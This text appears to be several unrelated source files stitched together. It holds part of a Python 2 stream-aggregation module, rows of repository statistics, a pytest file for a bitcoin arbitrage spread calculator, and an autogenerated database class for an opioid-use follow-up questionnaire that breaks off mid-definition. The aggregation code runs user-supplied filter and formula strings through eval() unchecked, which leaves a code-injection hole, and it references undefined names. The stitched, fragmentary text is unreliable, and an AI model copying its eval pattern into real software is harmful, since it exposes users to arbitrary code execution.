return_value = None
if datetime.now() - self.__last_time > self.__time_range:
return_value = self.get_current()
return return_value
def get_current(self):
"""return the current result if exists
:return: the dict represents the data
"""
return_value = {'data_type_id': None, 'attrs': {self.__tag: self.__sum}, 'time': datetime.now()}
self.__last_time = datetime.now()
self.__sum = 0
return return_value
@staticmethod
def validate(info, data_type):
"""check if the data_type if suitable for calc
:param info: the function dict, e.g.
{
'name': 'average',
'tag': 'avg_cost',
'target': 'cost',
'time_range': '1m'
}
:param data_type: the data type dict, e.g.
{'userid': 'string', 'function': 'string', 'status': 'integer', 'cost': 'real'}
:return: a dict contains `succ` and either `result_type` or `info`
`succ`: a boolean indicates if the data_type and the function dict is validate
`result_type`: if `succ` is True, it contains the result data type dict
`info`: if `succ` is False, it contains the error information string
"""
result = {'succ': True}
# check params existence
for param in ['target', 'tag']:
if param not in info:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "{param}" not found'.format(
func_name=info['name'], param=param)
return result
# check tag
if not isinstance(info['tag'], str):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "tag" is not a string.'.format(
func_name=info['name'])
return result
# check target
if not isinstance(info['target'], str):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "target" is not a string.'.format(
func_name=info['name'])
return result
if info['target'] not in data_type:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}", "target" not in data.'.format(
func_name=info['name'])
return result
if data_type[info['target']] not in ['int', 'float', 'long']:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "target" is not numeric.'.format(
func_name=info['name'])
return result
# return the result type
result['result_type'] = {info['tag']: data_type[info['target']]}
return result
class StandardDeviation:
__list = None
__time_range = None
__last_time = None
__tag = None
__target = None
id = None
def __init__(self, info):
"""Initialize the Function
:param info: a dict that contains information about the function itself
:return:
"""
self.__time_range = get_time_range(info['time_range'])
self.__tag = info['tag']
self.__target = info['target']
self.__list = []
self.id = numpy.random.random()
# print('init count:' + str(self.id))
def calc(self, data):
"""do calculating and returns the result
:param data: a dict represents the input data
:return: None if do not have a result yet, or a dict represents the data
"""
# print('{id} calc'.format(id=self.id))
if self.__last_time is None:
self.__last_time = datetime.now()
else:
self.__list.append(data['attrs'][self.__target])
return_value = None
if datetime.now() - self.__last_time > self.__time_range:
return_value = self.get_current()
return return_value
def get_current(self):
"""return the current result if exists
:return: the dict represents the data
"""
val = numpy.std(self.__list)
return_value = {'data_type_id': None, 'attrs': {self.__tag: val}, 'time': datetime.now()}
self.__last_time = datetime.now()
self.__list = []
return return_value
@staticmethod
def validate(info, data_type):
"""check if the data_type if suitable for calc
:param info: the function dict, e.g.
{
'name': 'standard_deviation',
'tag': 'sd_cost',
'target': 'cost',
'time_range': '1m'
}
:param data_type: the data type dict, e.g.
{'userid': 'string', 'function': 'string', 'status': 'integer', 'cost': 'real'}
:return: a dict contains `succ` and either `result_type` or `info`
`succ`: a boolean indicates if the data_type and the function dict is validate
`result_type`: if `succ` is True, it contains the result data type dict
`info`: if `succ` is False, it contains the error information string
"""
result = {'succ': True}
# check params existence
for param in ['target', 'tag']:
if param not in info:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "{param}" not found'.format(
func_name=info['name'], param=param)
return result
# check tag
if not isinstance(info['tag'], str):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "tag" is not a string.'.format(
func_name=info['name'])
return result
# check target
if not isinstance(info['target'], str):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "target" is not a string.'.format(
func_name=info['name'])
return result
if info['target'] not in data_type:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}", "target" not in data.'.format(
func_name=info['name'])
return result
if data_type[info['target']] not in ['int', 'float', 'long']:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "target" is not numeric.'.format(
func_name=info['name'])
return result
# return the result type
result['result_type'] = {info['tag']: 'float'}
return result
class Filter:
__attr_remain = None
__condition = None
id = None
def __init__(self, info):
"""Initialize the Function
:param info: a dict that contains information about the function itself
:return:
"""
self.__attr_remain = info['attr_remain']
self.__condition = info['condition']
self.id = numpy.random.random()
# print('init count:' + str(self.id))
def calc(self, data):
"""do calculating and returns the result
:param data: a dict represents the input data
:return: None if do not have a result yet, or a dict represents the data
"""
# print('{id} calc'.format(id=self.id))
temp_expression = self.__condition
for attr in data['attrs']:
temp_expression = temp_expression.replace('{' + attr + '}', str(data['attrs'][attr]))
try:
passed = eval(temp_expression)
except:
passed = False
return_value = None
if passed:
return_value = {'data_type_id': None, 'attrs': {}, 'time': datetime.now()}
for attr in data['attrs']:
if len(self.__attr_remain) == 0 or attr in self.__attr_remain:
return_value['attrs'][attr] = data['attrs'][attr]
return return_value
@staticmethod
def validate(info, data_type):
"""check if the data_type if suitable for calc
:param info: the function dict, e.g.
{
'name': 'filter',
'attr_remain': ['cost', 'function'],
'condition': '{function}=="add" and {cost}/10>30'
}
:param data_type: the data type dict, e.g.
{'userid': 'string', 'function': 'string', 'status': 'integer', 'cost': 'real'}
:return: a dict contains `succ` and either `result_type` or `info`
`succ`: a boolean indicates if the data_type and the function dict is validate
`result_type`: if `succ` is True, it contains the result data type dict
`info`: if `succ` is False, it contains the error information string
"""
result = {'succ': True}
# check params existence
for param in ['attr_remain', 'condition']:
if param not in info:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "{param}" not found'.format(
func_name=info['name'], param=param)
return result
# check attr_remain
if not (isinstance(info['attr_remain'], list) or info['attr_remain'] is None):
result['succ'] = False
result['info'] = \
'validation fail in function "{func_name}": "attr_remain" is neither None or a list.'.format(
func_name=info['name'])
return result
if info['attr_remain'] is not None:
for attr in info['attr_remain']:
if attr not in data_type:
result['succ'] = False
result['info'] = \
'validation fail in function "{func_name}", attr_remain "{attr}": attribute not found.'.format(
func_name=info['name'], attr=attr)
return result
# check condition
if not isinstance(info['condition'], str):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "condition" is not a string.'.format(
func_name=info['name'])
return result
temp_expression = info['condition']
for attr in data_type:
print temp_expression
temp_expression = temp_expression.replace('{' + attr + '}', str(data_example[data_type[attr]]))
print temp_expression
try:
val = eval(temp_expression)
except:
val = None
if not isinstance(val, bool):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": wrong "condition".'.format(
func_name=info['name'])
return result
# return the result type
result['result_type'] = {}
for attr in info['attr_remain']:
result['result_type'][attr] = data_type[attr]
return result
class SelfCalc:
__attr_remain = None
__tag = None
__expression = None
id = None
def __init__(self, info):
"""Initialize the Function
:param info: a dict that contains information about the function itself
:return:
"""
self.__attr_remain = info['attr_remain']
self.__expression = info['expression']
self.__tag = info['tag']
self.id = numpy.random.random()
# print('init count:' + str(self.id))
def calc(self, data):
"""do calculating and returns the result
:param data: a dict represents the input data
:return: None if do not have a result yet, or a dict represents the data
"""
# print('{id} calc'.format(id=self.id))
temp_expression = self.__expression
for attr in data['attrs']:
temp_expression = temp_expression.replace('{' + attr + '}', str(data['attrs'][attr]))
try:
val = eval(temp_expression)
except:
val = None
return_value = None
if val is not None:
return_value = {'data_type_id': None, 'attrs': {self.__tag: val}, 'time': datetime.now()}
else:
print temp_expression
return None
for attr in self.__attr_remain:
return_value['attrs'][attr] = data['attrs'][attr]
return return_value
@staticmethod
def validate(info, data_type):
"""check if the data_type if suitable for calc
:param info: the function dict, e.g.
{
'name': 'self_calc',
'attr_remain': ['cost', 'function'],
'expression': 'log({cost}, 2)*10',
'tag': 'log_cost'
}
:param data_type: the data type dict, e.g.
{'userid': 'string', 'function': 'string', 'status': 'integer', 'cost': 'real'}
:return: a dict contains `succ` and either `result_type` or `info`
`succ`: a boolean indicates if the data_type and the function dict is validate
`result_type`: if `succ` is True, it contains the result data type dict
`info`: if `succ` is False, it contains the error information string
"""
result = {'succ': True}
# check params existence
for param in ['attr_remain', 'expression']:
if param not in info:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "{param}" not found'.format(
func_name=info['name'], param=param)
return result
# check attr_remain
if not (isinstance(info['attr_remain'], list) or info['attr_remain'] is None):
result['succ'] = False
result['info'] = \
'validation fail in function "{func_name}": "attr_remain" is neither None or a list.'.format(
func_name=info['name'])
return result
if info['attr_remain'] is not None:
for attr in info['attr_remain']:
if attr not in data_type:
result['succ'] = False
result['info'] = \
'validation fail in function "{func_name}", attr_remain "{attr}": attribute not found.'.format(
func_name=info['name'], attr=attr)
return result
# check tag
if not isinstance(info['tag'], str):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "tag" is not a string.'.format(
func_name=info['name'])
return result
# check expression
if not isinstance(info['expression'], str):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "formula" is not a string.'.format(
func_name=info['name'])
return result
temp_expression = info['expression']
for attr in data_type:
temp_expression = temp_expression.replace('{' + attr + '}', str(data_example[data_type[attr]]))
try:
val = eval(temp_expression)
except:
val = None
if val is None:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": wrong "condition".'.format(
func_name=info['name'])
return result
if type(val) not in data_type_tag:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": unsupported result data type {t}'.format(
func_name=info['name'], t=type(val))
return result
# return the result type
result['result_type'] = {}
for attr in info['attr_remain']:
result['result_type'][attr] = data_type[attr]
result['result_type'][info['tag']] = data_type_tag[type(val)]
return result
class Collect:
__dict = {}
__time_range = None
__last_time = None
__target = None
id = None
def __init__(self, info):
"""Initialize the Function
:param info: a dict that contains information about the function itself
:return:
"""
self.__time_range = get_time_range(info['time_range'])
self.__target = info['target']
self.__dict = {}
for attr in self.__target:
self.__dict[attr] = []
self.id = numpy.random.random()
def calc(self, data):
"""do calculating and returns the result
:param data: a dict represents the input data
:return: None if do not have a result yet, or the dict represents the data
"""
if self.__last_time is None:
self.__last_time = datetime.now()
for attr in self.__target:
self.__dict[attr].append(data['attrs'][attr])
return_value = None
if datetime.now() - self.__last_time > self.__time_range:
return_value = self.get_current()
return return_value
def get_current(self):
"""return the current result if exists
:return: the dict represents the data
"""
return_value = {'data_type_id': None, 'attrs': {}, 'time': datetime.now()}
for key in self.__dict:
return_value['attrs'][key] = self.__dict[key]
self.__dict[key] = []
self.__last_time = datetime.now()
print return_value
return return_value
@staticmethod
def validate(info, data_type):
"""check if the data_type if suitable for count
:param info: the function dict, e.g.
{
'name': 'collect',
'target': ['function','cost'],
'time_range': '1m'
}
:param data_type: the data type dict, e.g.
{'userid': 'string', 'function': 'string', 'status': 'integer', 'cost': 'real'}
:return: a dict contains `succ` and either `result_type` or `info`
`succ`: a boolean indicates if the data_type and the function dict is validate
`result_type`: if `succ` is True, it contains the result data type dict
`info`: if `succ` is False, it contains the error information string
"""
result = {'succ': True}
# check params existence
for param in ['target']:
if param not in info:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "{param}" not found'.format(
func_name=info['name'], param=param)
return result
# check target
if not isinstance(info['target'], list):
result['succ'] = False
result['info'] = \
'validation fail in function "{func_name}": "target" is not a list.'.format(
func_name=info['name'])
return result
for attr in info['target']:
if attr not in data_type:
result['succ'] = False
result['info'] = \
'validation fail in function "{func_name}", target "{attr}": attribute not found.'.format(
func_name=info['name'], attr=attr)
return result
# return the result type
result['result_type'] = {}
for attr in info['target']:
result['result_type'][attr] = 'list'
return result
| 37.394854
| 119
| 0.540433
| 4,871
| 42,144
| 4.502156
| 0.040443
| 0.035021
| 0.033516
| 0.046922
| 0.850889
| 0.838714
| 0.835796
| 0.828181
| 0.821933
| 0.805837
| 0
| 0.004777
| 0.339313
| 42,144
| 1,126
| 120
| 37.428064
| 0.782826
| 0.030847
| 0
| 0.761128
| 0
| 0
| 0.184227
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.004451
| 0.005935
| null | null | 0.005935
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
06cb03ceddd2aad50ac849ea8b958074d3d6883e
| 2,326
|
py
|
Python
|
tests/test_spread.py
|
MoustaphaLo/CryptocurrencyArbitrageBot
|
1eb9db17aed4fc83c89137bbd3da62adf802a2d9
|
[
"MIT"
] | 212
|
2018-10-14T15:03:19.000Z
|
2022-03-27T08:37:21.000Z
|
tests/test_spread.py
|
MoustaphaLo/CryptocurrencyArbitrageBot
|
1eb9db17aed4fc83c89137bbd3da62adf802a2d9
|
[
"MIT"
] | 3
|
2019-10-21T19:07:38.000Z
|
2021-11-29T07:15:02.000Z
|
tests/test_spread.py
|
MoustaphaLo/CryptocurrencyArbitrageBot
|
1eb9db17aed4fc83c89137bbd3da62adf802a2d9
|
[
"MIT"
] | 40
|
2018-10-14T19:57:50.000Z
|
2022-03-13T15:26:08.000Z
|
import pytest
from bitcoin_arbitrage.monitor import settings # NOQA
from bitcoin_arbitrage.monitor.log import setup_logger # NOQA
from bitcoin_arbitrage.monitor.log import setup_logger # NOQA
from bitcoin_arbitrage.monitor.currency import CurrencyPair
from bitcoin_arbitrage.monitor.exchange.bitstamp import Bitstamp
from bitcoin_arbitrage.monitor.spread_detection import Spread
from bitcoin_arbitrage.monitor.spread_detection import SpreadDifferentCurrenciesError
def test_calculate_spread():
exchange_one = Bitstamp(CurrencyPair.BTC_EUR)
exchange_one.last_ask_price = 14_500.0
exchange_one.last_bid_price = 14_500.0
exchange_two = Bitstamp(CurrencyPair.BTC_EUR)
exchange_two.last_ask_price = 14_600.0
exchange_two.last_bid_price = 14_600.0
spread = Spread(exchange_one, exchange_two)
assert spread.spread == 100
exchange_one = Bitstamp(CurrencyPair.BTC_EUR)
exchange_one.last_ask_price = 14_600.0
exchange_one.last_bid_price = 14_600.0
exchange_two = Bitstamp(CurrencyPair.BTC_EUR)
exchange_two.last_ask_price = 14_500.0
exchange_two.last_bid_price = 14_500.0
spread = Spread(exchange_one, exchange_two)
assert spread.spread == 100
exchange_one = Bitstamp(CurrencyPair.BTC_EUR)
exchange_one.last_ask_price = 14_600.0
exchange_one.last_bid_price = 14_500.0
exchange_two = Bitstamp(CurrencyPair.BTC_EUR)
exchange_two.last_ask_price = 14_600.0
exchange_two.last_bid_price = 14_500.0
spread = Spread(exchange_one, exchange_two)
assert spread.spread == -100
exchange_one = Bitstamp(CurrencyPair.BTC_EUR)
exchange_one.last_ask_price = 14_600.0
exchange_one.last_bid_price = 14_500.0
exchange_two = Bitstamp(CurrencyPair.BTC_EUR)
exchange_two.last_ask_price = 14_500.0
exchange_two.last_bid_price = 14_600.0
spread = Spread(exchange_one, exchange_two)
assert spread.spread == 0
def test_different_currencies_exception():
exchange_one = Bitstamp(CurrencyPair.BTC_EUR)
exchange_one.last_ask_price = 14_500.0
exchange_one.last_bid_price = 14_500.0
exchange_two = Bitstamp(CurrencyPair.BTC_USD)
exchange_two.last_ask_price = 14_600.0
exchange_two.last_bid_price = 14_600.0
with pytest.raises(SpreadDifferentCurrenciesError):
Spread(exchange_one, exchange_two)
| 39.423729
| 85
| 0.785039
| 336
| 2,326
| 5.059524
| 0.122024
| 0.129412
| 0.135294
| 0.082353
| 0.835882
| 0.819412
| 0.817647
| 0.761176
| 0.761176
| 0.761176
| 0
| 0.065491
| 0.146604
| 2,326
| 58
| 86
| 40.103448
| 0.790932
| 0.006019
| 0
| 0.72
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.08
| 1
| 0.04
| false
| 0
| 0.16
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
06f9a8b6b311f528eb4be85122bf75af0b8b472c
| 15,243
|
py
|
Python
|
src/vbr/tableclasses/redcap/autogenerated/opioid_use_acute_followup_v10_opioid_use_ii.py
|
a2cps/python-vbr
|
9d5d4480386d0530450d59157e0da6937320f928
|
[
"BSD-3-Clause"
] | 1
|
2021-05-26T19:08:29.000Z
|
2021-05-26T19:08:29.000Z
|
src/vbr/tableclasses/redcap/autogenerated/opioid_use_acute_followup_v10_opioid_use_ii.py
|
a2cps/python-vbr
|
9d5d4480386d0530450d59157e0da6937320f928
|
[
"BSD-3-Clause"
] | 7
|
2021-05-04T13:12:39.000Z
|
2022-03-09T21:04:33.000Z
|
src/vbr/tableclasses/redcap/autogenerated/opioid_use_acute_followup_v10_opioid_use_ii.py
|
a2cps/python-vbr
|
9d5d4480386d0530450d59157e0da6937320f928
|
[
"BSD-3-Clause"
] | 2
|
2021-04-20T14:46:52.000Z
|
2021-06-07T20:28:28.000Z
|
"""Autogenerated 2021-11-16T11:37:36.494188 by redcap_classfiles.py
"""
from ....pgrest import *
from ...constants import Constants
from ..rcconstants import REDCapConstants
from ..rcaptable import RcapTable
__all__ = ["RcapOpioidUseAcuteFollowupV10OpioidUseIi"]
class RcapOpioidUseAcuteFollowupV10OpioidUseIi(RcapTable):
"""Opioid Use Acute Followup V10 Opioid Use Ii"""
__redcap_form_name = "opioid_use_acute_followup_v10_opioid_use_ii"
opioid_use_acute_followup_v10_opioid_use_ii_id = Constants.SERIAL_PRIMARY_KEY_COLUMN
opioid_use_acute_followup_v10_opioid_use_ii_complete = Column(
Integer, ForeignKey("status.status_id")
)
# Ignored multiline Field Name in Data Dictionary
# Field Type: radio
# Choices: 0, No | 1, Yes
opioiduseafuopds = Column(Boolean, nullable=True, comments=None)
# What is the name of the opioid medication?
# Field Type: radio
# Choices: 1, Hydrocodone (Vicodin, Norco) | 2, Oxycodone (Percocet, Oxycontin) | 3, Codeine (Tylenol 3, Tylenol 4) | 4, Tramadol (Ultram, Ultracet) | 5, Hydromorphone (Dilaudid) | 6, Morphine (MS Contin, MS IR) | 7, Tapentadol (Nucynta) | 8, Methadone | 9, Fentanyl (Duragesic) | 10, Other
opioiduseafudrug1nm = Column(Integer, nullable=True, comments=None)
# What is the dose of your Hydrocodone (Vicodin, Norco)?
# Field Type: dropdown
# Choices: 1, Tablets with acetaminophen - 5mg / 325mg | 2, Tablets with acetaminophen - 7.5mg / 325mg | 3, Tablets with acetaminophen - 10mg / 325mg | 4, Liquid - 7.5mg/500mg per 15ml
opioiduseafu_meddosehydroc1 = Column(Integer, nullable=True, comments=None)
# What is the dose of your Oxycodone (Percocet, Oxycontin)?
# Field Type: dropdown
# Choices: 1, Tablets with acetaminophen | 2, - 2.5mg / 325mg | 3, - 5mg / 325mg | 4, - 7.5mg / 325mg | 5, - 10mg / 325mg | 6, ------------------------ | 7, Tablets immediate release | 8, - 5mg | 9, - 7.5mg | 10, - 10mg | 11, - 15mg | 12, - 20mg | 13, - 30mg | 14, ------------------------ | 15, Tablets extended release | 16, - 10mg | 17, - 15mg | 18, - 20mg | 19, - 30mg | 20, - 40mg | 21, - 60mg | 22, - 80mg | 23, ------------------------- | 24, Liquid - 5mg / 5ml
opioiduseafu_meddoseoxy1 = Column(Integer, nullable=True, comments=None)
# What is the dose of your Codeine (Tylenol 3, Tylenol 4)?
# Field Type: dropdown
# Choices: 1, Tablets with acetaminophen - 15mg / 300mg | 2, Tablets with acetaminophen - 30mg / 300mg | 3, Tablets with acetaminophen - 60mg / 300mg | 4, Liquid - 12mg / 120mg per 5ml | 5, Tylenol 3 | 6, Tylenol 4
opioiduseafu_meddosecodeine1 = Column(Integer, nullable=True, comments=None)
# What is the dose of your Tramadol (Ultram, Ultracet)?
# Field Type: dropdown
# Choices: 1, 50mg | 2, 100mg | 3, 150mg | 4, 200mg | 5, 300mg
opioiduseafu_meddosetram1 = Column(Integer, nullable=True, comments=None)
# What is the dose of your Hydromorphone (Dilaudid)?
# Field Type: dropdown
# Choices: 1, Tablets immediate release - 2mg | 2, Tablets immediate release - 4mg | 3, Tablets immediate release - 8mg | 4, Tablets immediate release - 12mg | 5, Tablets immediate release - 16mg | 6, Tablets immediate release - 32mg | 7, Liquid - 5mg / 5ml
opioiduseafu_meddosehydrom1 = Column(Integer, nullable=True, comments=None)
# What is the dose of your Morphine (MS Contin, MS IR)?
# Field Type: dropdown
# Choices: 1, Tablets immediate release | 2, - 15mg | 3, - 30mg | 4, ------------------------------------- | 5, Tablets extended release | 6, - 15mg | 7, - 30mg | 8, - 60mg | 9, - 100mg | 10, - 200mg | 11, ------------------------------- | 12, Liquid - 10mg / 5ml
opioiduseafu_meddosemorph1 = Column(Integer, nullable=True, comments=None)
# What is the dose of your Tapentadol (Nucynta)?
# Field Type: dropdown
# Choices: 1, Tablets immediate release | 2, - 50mg | 3, - 75mg | 4, - 100mg | 5, -------------------------------------- | 6, Tablets extended release | 7, - 50mg | 8, - 100mg | 9, - 150mg | 10, - 200mg | 11, - 250mg
opioiduseafu_meddosetapen1 = Column(Integer, nullable=True, comments=None)
# What is the dose of your Methadone?
# Field Type: dropdown
# Choices: 1, Tablets - 5mg | 2, Tablets - 10mg | 3, Liquid - 10mg/ml
opioiduseafu_meddosemetha1 = Column(Integer, nullable=True, comments=None)
# What is the dose of your Fentanyl (Duragesic)?
# Field Type: dropdown
# Choices: 1, Patch - 12mcg | 2, Patch - 25mcg | 3, Patch - 50mcg | 4, Patch - 75mcg | 5, Patch - 100mcg
opioiduseafu_meddosefenta1 = Column(Integer, nullable=True, comments=None)
# Over the past week, how many pills did you take in total?
# Field Type: text
# Choices: N/A
opioiduseafudrug1quanta = Column(String, nullable=True, comments=None)
# Over the past week, how many teaspoons (1 teaspoon = 5 mL) di...
# Field Type: text
# Choices: N/A
opioiduseafudrug1quantb = Column(String, nullable=True, comments=None)
# Over the past week, how many patches did you apply?
# Field Type: text
# Choices: N/A
opioiduseafudrug1quantc = Column(String, nullable=True, comments=None)
# 1.a The name of other opioid medication
# Field Type: text
# Choices: N/A
opioiduseafuotherdrug1nm = Column(String, nullable=True, comments=None)
# 1.b The dose of other opioid medication
# Field Type: text
# Choices: N/A
opioiduseafudose_oth1 = Column(String, nullable=True, comments=None)
# Are you currently taking other opioid pain medications?
# Field Type: radio
# Choices: 1, Yes | 0, No
opioiduseafud1other = Column(Boolean, nullable=True, comments=None)
# 2 What is the name of the opioid medication?
# Field Type: radio
# Choices: 1, Hydrocodone (Vicodin, Norco) | 2, Oxycodone (Percocet, Oxycontin) | 3, Codeine (Tylenol 3, Tylenol 4) | 4, Tramadol (Ultram, Ultracet) | 5, Hydromorphone (Dilaudid) | 6, Morphine (MS Contin, MS IR) | 7, Tapentadol (Nucynta) | 8, Methadone | 9, Fentanyl (Duragesic) | 10, Other
opioiduseafudrug2nm = Column(Integer, nullable=True, comments=None)
# 2 What is the dose of your Hydrocodone (Vicodin, Norco)?
# Field Type: dropdown
# Choices: 1, Tablets with acetaminophen - 5mg / 325mg | 2, Tablets with acetaminophen - 7.5mg / 325mg | 3, Tablets with acetaminophen - 10mg / 325mg | 4, Liquid - 7.5mg/500mg per 15ml
opioiduseafu_meddosehydroc2 = Column(Integer, nullable=True, comments=None)
# 2 What is the dose of your Oxycodone (Percocet, Oxycontin)?
# Field Type: dropdown
# Choices: 1, Tablets with acetaminophen | 2, - 2.5mg / 325mg | 3, - 5mg / 325mg | 4, - 7.5mg / 325mg | 5, - 10mg / 325mg | 6, ------------------------ | 7, Tablets immediate release | 8, - 5mg | 9, - 7.5mg | 10, - 10mg | 11, - 15mg | 12, - 20mg | 13, - 30mg | 14, ------------------------ | 15, Tablets extended release | 16, - 10mg | 17, - 15mg | 18, - 20mg | 19, - 30mg | 20, - 40mg | 21, - 60mg | 22, - 80mg | 23, ------------------------- | 24, Liquid - 5mg / 5ml
opioiduseafu_meddoseoxy2 = Column(Integer, nullable=True, comments=None)
# 2 What is the dose of your Codeine (Tylenol 3, Tylenol 4)?
# Field Type: dropdown
# Choices: 1, Tablets with acetaminophen - 15mg / 300mg | 2, Tablets with acetaminophen - 30mg / 300mg | 3, Tablets with acetaminophen - 60mg / 300mg | 4, Liquid - 12mg / 120mg per 5ml | 5, Tylenol 3 | 6, Tylenol 4
opioiduseafu_meddosecodeine2 = Column(Integer, nullable=True, comments=None)
# 2 What is the dose of your Tramadol (Ultram, Ultracet)?
# Field Type: dropdown
# Choices: 1, 50mg | 2, 100mg | 3, 150mg | 4, 200mg | 5, 300mg
opioiduseafu_meddosetram2 = Column(Integer, nullable=True, comments=None)
# 2 What is the dose of your Hydromorphone (Dilaudid)?
# Field Type: dropdown
# Choices: 1, Tablets immediate release - 2mg | 2, Tablets immediate release - 4mg | 3, Tablets immediate release - 8mg | 4, Tablets immediate release - 12mg | 5, Tablets immediate release - 16mg | 6, Tablets immediate release - 32mg | 7, Liquid - 5mg / 5ml
opioiduseafu_meddosehydrom2 = Column(Integer, nullable=True, comments=None)
# 2 What is the dose of your Morphine (MS Contin, MS IR)?
# Field Type: dropdown
# Choices: 1, Tablets immediate release | 2, - 15mg | 3, - 30mg | 4, ------------------------------------- | 5, Tablets extended release | 6, - 15mg | 7, - 30mg | 8, - 60mg | 9, - 100mg | 10, - 200mg | 11, ------------------------------- | 12, Liquid - 10mg / 5ml
opioiduseafu_meddosemorph2 = Column(Integer, nullable=True, comments=None)
# 2 What is the dose of your Tapentadol (Nucynta)?
# Field Type: dropdown
# Choices: 1, Tablets immediate release | 2, - 50mg | 3, - 75mg | 4, - 100mg | 5, -------------------------------------- | 6, Tablets extended release | 7, - 50mg | 8, - 100mg | 9, - 150mg | 10, - 200mg | 11, - 250mg
opioiduseafu_meddosetapen2 = Column(Integer, nullable=True, comments=None)
# 2 What is the dose of your Methadone?
# Field Type: dropdown
# Choices: 1, Tablets - 5mg | 2, Tablets - 10mg | 3, Liquid - 10mg/ml
opioiduseafu_meddosemetha2 = Column(Integer, nullable=True, comments=None)
# 2 What is the dose of your Fentanyl (Duragesic)?
# Field Type: dropdown
# Choices: 1, Patch - 12mcg | 2, Patch - 25mcg | 3, Patch - 50mcg | 4, Patch - 75mcg | 5, Patch - 100mcg
opioiduseafu_meddosefenta2 = Column(Integer, nullable=True, comments=None)
# 2 Over the past week, how many pills did you take in total?
# Field Type: text
# Choices: N/A
opioiduseafudrug2quanta = Column(String, nullable=True, comments=None)
# 2 Over the past week, how many teaspoons (1 teaspoon = 5 mL) ...
# Field Type: text
# Choices: N/A
opioiduseafudrug2quantb = Column(String, nullable=True, comments=None)
# 2 Over the past week, how many patches did you apply?
# Field Type: text
# Choices: N/A
opioiduseafudrug2quantc = Column(String, nullable=True, comments=None)
# 2.a The name of other opioid medication
# Field Type: text
# Choices: N/A
opioiduseafuotherdrug2nm = Column(String, nullable=True, comments=None)
# 2.b The dose of other opioid medication
# Field Type: text
# Choices: N/A
opioiduseafudose_oth2 = Column(String, nullable=True, comments=None)
# 2 Are you currently taking other opioid pain medications?
# Field Type: radio
# Choices: 1, Yes | 0, No
opioiduseafud2other = Column(Boolean, nullable=True, comments=None)
# 3 What is the name of the opioid medication?
# Field Type: radio
# Choices: 1, Hydrocodone (Vicodin, Norco) | 2, Oxycodone (Percocet, Oxycontin) | 3, Codeine (Tylenol 3, Tylenol 4) | 4, Tramadol (Ultram, Ultracet) | 5, Hydromorphone (Dilaudid) | 6, Morphine (MS Contin, MS IR) | 7, Tapentadol (Nucynta) | 8, Methadone | 9, Fentanyl (Duragesic) | 10, Other
opioiduseafudrug3nm = Column(Integer, nullable=True, comments=None)
# 3 What is the dose of your Hydrocodone (Vicodin, Norco)?
# Field Type: dropdown
# Choices: 1, Tablets with acetaminophen - 5mg / 325mg | 2, Tablets with acetaminophen - 7.5mg / 325mg | 3, Tablets with acetaminophen - 10mg / 325mg | 4, Liquid - 7.5mg/500mg per 15ml
opioiduseafu_meddosehydroc3 = Column(Integer, nullable=True, comments=None)
# 3 What is the dose of your Oxycodone (Percocet, Oxycontin)?
# Field Type: dropdown
# Choices: 1, Tablets with acetaminophen | 2, - 2.5mg / 325mg | 3, - 5mg / 325mg | 4, - 7.5mg / 325mg | 5, - 10mg / 325mg | 6, ------------------------ | 7, Tablets immediate release | 8, - 5mg | 9, - 7.5mg | 10, - 10mg | 11, - 15mg | 12, - 20mg | 13, - 30mg | 14, ------------------------ | 15, Tablets extended release | 16, - 10mg | 17, - 15mg | 18, - 20mg | 19, - 30mg | 20, - 40mg | 21, - 60mg | 22, - 80mg | 23, ------------------------- | 24, Liquid - 5mg / 5ml
opioiduseafu_meddoseoxy3 = Column(Integer, nullable=True, comments=None)
# 3 What is the dose of your Codeine (Tylenol 3, Tylenol 4)?
# Field Type: dropdown
# Choices: 1, Tablets with acetaminophen - 15mg / 300mg | 2, Tablets with acetaminophen - 30mg / 300mg | 3, Tablets with acetaminophen - 60mg / 300mg | 4, Liquid - 12mg / 120mg per 5ml | 5, Tylenol 3 | 6, Tylenol 4
opioiduseafu_meddosecodeine3 = Column(Integer, nullable=True, comments=None)
# 3 What is the dose of your Tramadol (Ultram, Ultracet)?
# Field Type: dropdown
# Choices: 1, 50mg | 2, 100mg | 3, 150mg | 4, 200mg | 5, 300mg
opioiduseafu_meddosetram3 = Column(Integer, nullable=True, comments=None)
# 3 What is the dose of your Hydromorphone (Dilaudid)?
# Field Type: dropdown
# Choices: 1, Tablets immediate release - 2mg | 2, Tablets immediate release - 4mg | 3, Tablets immediate release - 8mg | 4, Tablets immediate release - 12mg | 5, Tablets immediate release - 16mg | 6, Tablets immediate release - 32mg | 7, Liquid - 5mg / 5ml
opioiduseafu_meddosehydrom3 = Column(Integer, nullable=True, comments=None)
# 3 What is the dose of your Morphine (MS Contin, MS IR)?
# Field Type: dropdown
